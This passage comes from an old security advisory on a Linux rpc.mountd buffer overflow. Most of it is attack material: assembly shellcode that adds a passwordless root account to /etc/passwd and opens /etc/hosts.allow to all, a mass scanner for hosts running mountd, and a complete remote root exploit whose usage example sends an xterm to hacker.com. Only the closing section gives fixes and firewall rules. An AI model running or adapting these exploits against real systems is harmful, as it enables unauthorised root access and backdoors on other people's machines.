                     * to allow server reponse testing and timing
                     */
                    void
                    MOUNTPROC_NULL(void) = 0;

                    /*
                     * If fhs_status is 0, then fhs_fhandle contains the
                     * file handle for the directory. This file handle may
                     * be used in the NFS protocol. This procedure also adds
                     * a new entry to the mount list for this client mounting
                     * the directory.
                     * Unix authentication required.
                     */
                    fhstatus
                    MOUNTPROC_MNT(dirpath) = 1;

                    /*
                     * Returns the list of remotely mounted filesystems. The
                     * mountlist contains one entry for each hostname and
                     * directory pair.
                     */
                    mountlist
                    MOUNTPROC_DUMP(void) = 2;

                    /*
                     * Removes the mount list entry for the directory
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNT(dirpath) = 3;

                    /*
                     * Removes all of the mount list entries for this client
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNTALL(void) = 4;

                    /*
                     * Returns a list of all the exported filesystems, and which
                     * machines are allowed to import it.
                     */
                    exports
                    MOUNTPROC_EXPORT(void)  = 5;

                    /*
                     * Identical to MOUNTPROC_EXPORT above
                     */
                    exports
                    MOUNTPROC_EXPORTALL(void) = 6;
            } = 1;

            /*
             * Version two of the mount protocol communicates with version two
             * of the NFS protocol.
             * The only difference from version one is the addition of a POSIX
             * pathconf call.
             */
            version MOUNTVERS_POSIX {
                    /*
                     * Does no work. It is made available in all RPC services
                     * to allow server reponse testing and timing
                     */
                    void
                    MOUNTPROC_NULL(void) = 0;

                    /*
                     * If fhs_status is 0, then fhs_fhandle contains the
                     * file handle for the directory. This file handle may
                     * be used in the NFS protocol. This procedure also adds
                     * a new entry to the mount list for this client mounting
                     * the directory.
                     * Unix authentication required.
                     */
                    fhstatus
                    MOUNTPROC_MNT(dirpath) = 1;

                    /*
                     * Returns the list of remotely mounted filesystems. The
                     * mountlist contains one entry for each hostname and
                     * directory pair.
                     */
                    mountlist
                    MOUNTPROC_DUMP(void) = 2;

                    /*
                     * Removes the mount list entry for the directory
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNT(dirpath) = 3;

                    /*
                     * Removes all of the mount list entries for this client
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNTALL(void) = 4;

                    /*
                     * Returns a list of all the exported filesystems, and which
                     * machines are allowed to import it.
                     */
                    exports
                    MOUNTPROC_EXPORT(void)  = 5;

                    /*
                     * Identical to MOUNTPROC_EXPORT above
                     */
                    exports
                    MOUNTPROC_EXPORTALL(void) = 6;

                    /*
                     * POSIX pathconf info (Sun hack)
                     */
                    ppathcnf
                    MOUNTPROC_PATHCONF(dirpath) = 7;
            } = 2;
    } = 100005;

    #ifdef RPC_HDR
    %#endif /*!_rpcsvc_mount_h*/
    #endif

    ------------------------------------------------------------------------
    CUT_HERE : next file is makeit [ script for building the stuff ]
    ------------------------------------------------------------------------

    #!/bin/bash

    rpcgen -C nfsmount.x
    gcc -c -g nfsmount.c
    gcc -o mx nfsmount.o nfsmount_xdr.c

    ---------------------------------------------------------------------------
    CUT_HERE : next file is the asm code... just to have the entire source code
    ---------------------------------------------------------------------------

    /*

      really ugly code. It does :

      int fd = open("/etc/passwd", O_RDWR);
      lseek(fd, 0, SEEK_END);
      write(fd, "z::0:0::/:/bin/sh\n", 18);
      close(fd);

      int fd = open("/etc/hosts.allow", O_RDWR);
      lseek(fd, 0, SEEK_END);
      write(fd, "ALL:ALL\n", 8);
      close(fd);

      exit(?);

    */

    #include <stdio.h>

    main()
    {
        __asm__("jmp eofcode
                here:
                popl %esi
                pushl %esi
                pushl %esi
                pushl %esi

                xorl %edx, %edx
                movb %dl, 11(%esi)
                movb %dl, 30(%esi)
                movb %dl, 39(%esi)
                movb %dl, 56(%esi)
                movb $0x0a, %dl
                movb %dl, 29(%esi)
                movb %dl, 38(%esi)
                popl %ebx
                xorl %ecx, %ecx
                incl %ecx
                incl %ecx
                xor %eax, %eax
                movb $0x05, %al
                int  $0x80

                pushl %eax

                movl %eax, %ebx
                xorl %ecx, %ecx
                xorl %edx, %edx
                movb $0x02, %dl
                xorl %eax, %eax
                movb $0x13, %al
                int  $0x80

                popl %eax

                movl %eax, %edx
                movl %eax, %ebx
                popl %ecx
                pushl %edx
                xorl %edx, %edx
                movb $0x0c, %dl
                addl %edx, %ecx
                movb $0x13, %dl
                xorl %eax, %eax
                movb $0x04, %al
                xorl %edx, %edx
                movb $0x12, %dl
                int  $0x80

                popl %ebx
                xorl %eax, %eax
                movb $0x06, %al
                int  $0x80

                jmp  cont1


                eofcode:
                call here
                .string \"/etc/passwdxz::0:0::/:/bin/shxxALL:ALLxx/etc/hosts.allowx\"

                cont1:

                popl %ebx
                pushl %ebx
                xorl %ecx, %ecx
                movb $40, %cl
                addl %ecx, %ebx
                movb $02, %cl
                xor  %eax, %eax
                movb $05, %al
                int  $0x80


                pushl %eax

                movl %eax, %ebx
                xorl %ecx, %ecx
                xorl %edx, %edx
                movb $0x02, %dl
                xorl %eax, %eax
                movb $0x13, %al
                int  $0x80

                popl %ebx

                popl %ecx

                pushl %ebx

                xorl %edx, %edx
                movb $31, %dl
                addl %edx, %ecx
                movb $8, %dl
                xorl %eax, %eax
                movb $4, %al
                int  $0x80


                popl %ebx
                xorl %eax, %eax
                movb $0x06, %al
                int  $0x80

                xor  %eax, %eax
                incl %eax
                int  $0x80

                .string \"theeeeeeeeeeend\"
                ");

    }

    And here comes rpc.mountd scanner:

    /*
     * rpc.mountd scanner by JWK
     *
     * ripped from statd scanner made by -uh- unknown
     * credits go to [The Warlords] on IRCNet, conflict on EFNet
     * and lucian.net team (http://www.lucian.net)
     * Thanx acey :-)
     *
     * gcc -o scan mountdscan.c
     *
     * you can use mscan ip database as input file or whatevr
     */

    #include <stdio.h>
    #include <netdb.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <rpc/rpc.h>
    #include <arpa/inet.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <rpc/pmap_prot.h>
    #include <rpc/pmap_clnt.h>

    #define ERROR -1

    void woopy(int s);
    void usage(char *s);
    void scan(char *i, char *o);

    int statd(char *host);
    unsigned long int res(char *p);

    void usage(char *s)
    {
      printf("Usage: %s <inputfile> <outputfile>\n",s);
      exit(ERROR);
    }

    void main(int argc, char **argv)
    {
      if(argc < 3) usage(argv[0]);
      scan(argv[1], argv[2]);
    }

    void scan(char *i, char *o)
    {
      FILE *iff, *of;
      char buf[512];

      if((iff=fopen(i,"r")) == NULL)
        return;
      while(fgets(buf,512,iff) != NULL)
      {
        if(buf[strlen(buf)-1]=='\n')
          buf[strlen(buf)-1]=0;
        if(statd(buf) && (of=fopen(o,"a")) != NULL) {
          buf[strlen(buf)+1]=0;
          buf[strlen(buf)]='\n';

          fputs(buf,of);
          fclose(of);
        }
      }
      fclose(iff);
    }

    void woopy(int s)
    {
      return;
    }

    int statd(char *host)
    {
      struct sockaddr_in server_addr;
      struct pmaplist *head = NULL;
      int sockett = RPC_ANYSOCK;
      struct timeval minutetimeout;
      register CLIENT *client;
      struct rpcent *rpc;

      server_addr.sin_addr.s_addr=res(host);
      server_addr.sin_family=AF_INET;
      server_addr.sin_port = htons(PMAPPORT);
      minutetimeout.tv_sec = 15;
      minutetimeout.tv_usec = 0;

      signal(SIGALRM,woopy);
      alarm(15);

      if ((client = clnttcp_create(&server_addr, PMAPPROG,
            PMAPVERS, &sockett, 50, 500)) == NULL) {
        alarm(0);
        signal(SIGALRM,SIG_DFL);
        return 0;
      }
      alarm(0);
      signal(SIGALRM,SIG_DFL);

      if (clnt_call(client, PMAPPROC_DUMP, (xdrproc_t) xdr_void, NULL,
            (xdrproc_t) xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS)
        return 0;
      if (head != NULL)
        for (; head != NULL; head = head->pml_next)
          if((rpc = getrpcbynumber(head->pml_map.pm_prog)))
            if(strcmp(rpc->r_name,"mountd") == 0)
              return 1;

      return 0;
    }

    unsigned long int res(char *p)
    {
       struct hostent *h;
       unsigned long int rv;

       h=gethostbyname(p);
       if(h!=NULL)
         memcpy(&rv,h->h_addr,h->h_length);
       else
         rv=inet_addr(p);
       return rv;
    }

    Taheo's version of exploit:

    /*
    
	    Mountd exploit code for x86 linux
    
	    Remote user can gain root access.
    
	    Tested redhat linux : 5.1
	    Tested mountd version : 2.2beta29
    
	    What requires
	    /bin/mount and root access
    
	    Usage
	    $ mountd-ex <hostname> <command> [offset]
    
	    Warning : This program can crash mountd.
    
	    This program is only for demonstrative use only.
	    USE IT AT YOUR OWN RISK!
    
	    Programmed by Taeho Oh 1998/10/19
    
    Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
    PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
    PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
    
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define OFFSET                            0
    #define RET_POSITION                    984
    #define RANGE                            20
    #define NOP                            0x90
    
    char shellcode[400]=
	    "\xeb\x35"                      /* jmp 0x35             */
	    "\x5e"                          /* popl %esi            */
	    "\x89\x76\x0b"                  /* movl %esi,0xb(%esi)  */
	    "\x89\xf0"                      /* movl %esi,%eax       */
	    "\x83\xc0\x08"                  /* addl $0x8,%eax       */
	    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
	    "\x89\xf0"                      /* movl %esi,%eax       */
	    "\x83\xc0\x0b"                  /* addl $0xb,%eax       */
	    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
	    "\x31\xc0"                      /* xorl %eax,%eax       */
	    "\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
	    "\x88\x46\x0a"                  /* movb %eax,0xa(%esi)  */
	    "\x88\x46\x0b"                  /* movb %eax,0xb(%esi)  */
	    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
	    "\xb0\x0b"                      /* movb $0xb,%al        */
	    "\x89\xf3"                      /* movl %esi,%ebx       */
	    "\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx  */
	    "\x8d\x56\x0b"                  /* leal 0xb(%esi),%edx  */
	    "\xcd\x80"                      /* int 0x80             */
	    "\x31\xdb"                      /* xorl %ebx,%ebx       */
	    "\x89\xd8"                      /* movl %ebx,%eax       */
	    "\x40"                          /* inc %eax             */
	    "\xcd\x80"                      /* int 0x80             */
	    "\xe8\xc6\xff\xff\xff"          /* call -0x3a           */
	    "/bin/sh -c ";                  /* .string "/bin/sh -c "*/
    char command[400];
    
    void usage()
    {
	    printf("Warning : This program can crash mountd\n");
	    printf("Usage: mountd-ex <hostname> <command> [offset]\n");
	    printf("ex) mountd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
    }
    
    void main(int argc,char **argv)
    {
	    char buff[RET_POSITION+RANGE+1],*ptr;
	    char mntarg[RET_POSITION+RANGE+300];
	    long *addr_ptr,addr;
	    unsigned long sp;
	    int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
	    int i;
    
	    printf("Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara\n");
	    printf("PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus\n");
	    printf("PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug\n\n");
    
	    if(argc<3)
	    {
		    usage();
		    exit(1);
	    }
    
	    if(argc>2)
	    {
		    strcpy(mntarg,argv[1]);
		    strcpy(command,argv[2]);
	    }
	    if(argc>3)
		    offset=atoi(argv[3]);
    
	    shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
	    shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
	    shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
	    shellcode[32]=(shellcode[32]+strlen(command));
	    shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
	    shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
	    shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
	    strcat(shellcode,command);
    
	    sp=0xbffff113;
	    addr=sp-offset;
    
	    ptr=buff+1;
	    addr_ptr=(long*)ptr;
	    for(i=0;i<bsize;i+=4)
		    *(addr_ptr++)=addr;
    
	    for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
		    buff[i]=NOP;
    
	    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	    for(i=0;i<strlen(shellcode);i++)
		    *(ptr++)=shellcode[i];
    
	    buff[bsize-1]='\0';
    
	    strcat(mntarg,":");
	    strcat(mntarg,buff);
	    mntarg[1023]='\0';
    
	    execl("/bin/mount","mount","-t","nfs",mntarg,"tmp",NULL);
    }

SOLUTION

    Caldera
    =======
    Caldera provided a fixed version as nfs-server-2.2beta35-2 on  Aug
    28. It is available from:

        ftp://ftp.caldera.com/pub/OpenLinux/updates/1.2/013

    Red Hat Software, Inc.
    ======================
    All versions of  Red Hat Linux  are vulnerable, and  have provided
    fixed packages for all our users.  Updated nfs-server packages are
    available from our site at:

        http://www.redhat.com/support/docs/errata.html

    You  can  remove  rpc  from  redhat  5.x by removing the following
    files from /etc/rc.d/rc[345].d (depending on you runlevel):

        S40portmap (should be fine on  its own, but the remainder  for
        completeness), S60nfsd.

    You can shut down rpc any time by running:

        /etc/rc.d/init.d/portmap stop

    Under  Slackware,  it's  a  bit  harder,  but just comment out the
    portmapper and nfsd in /etc/rc*, and kill the running daemon with:

        killall portmap

    For  other  systems,  look  through  /etc/rc*,  and do the same as
    above.  To kill, shorthand as:

        kill `ps awx | grep portmap | awk '{ print $1 }'`

    To  block  portmap  traffic  from  the  Internet, try these rules:
    On a Linux "router" -

    ------------------------------------------------------------
        ipfwadm -I -a accept -P TCP -S 192.168.1.0/24 \
            -D 0.0.0.0/0 111
        ipfwadm -I -a accept -P TCP -S 192.168.1.0/24 \
            -D 0.0.0.0/0 635
        ipfwadm -I -a deny -P TCP -S 0.0.0.0/0 -D 0.0.0.0/0 111
        ipfwadm -I -a deny -P TCP -S 0.0.0.0/0 -D 0.0.0.0/0 635
    ------------------------------------------------------------
        (for a stand-alone Linux box, these will work too.)
        (and replace 192.168.1.0/24 with your subnets)
        (and put this into your rc.local)

    On a FreeBSD "router" -

    ------------------------------------------------------------
        ipfw add 60000 allow tcp from 192.168.1.0/24 to any 111,635
        ipfw add 60000 allow tcp from any 111,635 to 192.168.1.0/24
        ipfw add 60001 deny tcp from any to any 111,635
    ------------------------------------------------------------
        (same as above, replace 192.168.1.0/24 with yours)
        (put in either rc.firewall or rc.local)
        (adjust numbers as per your firewal config)

    If  you  still  need  mountd,  and  are running RedHat, there is a
    bunch of rpm upgrades you should do, versions below:

        nfs-server-2.2beta29-7.i386.rpm
        nfs-server-clients-2.2beta29-7.i386.rpm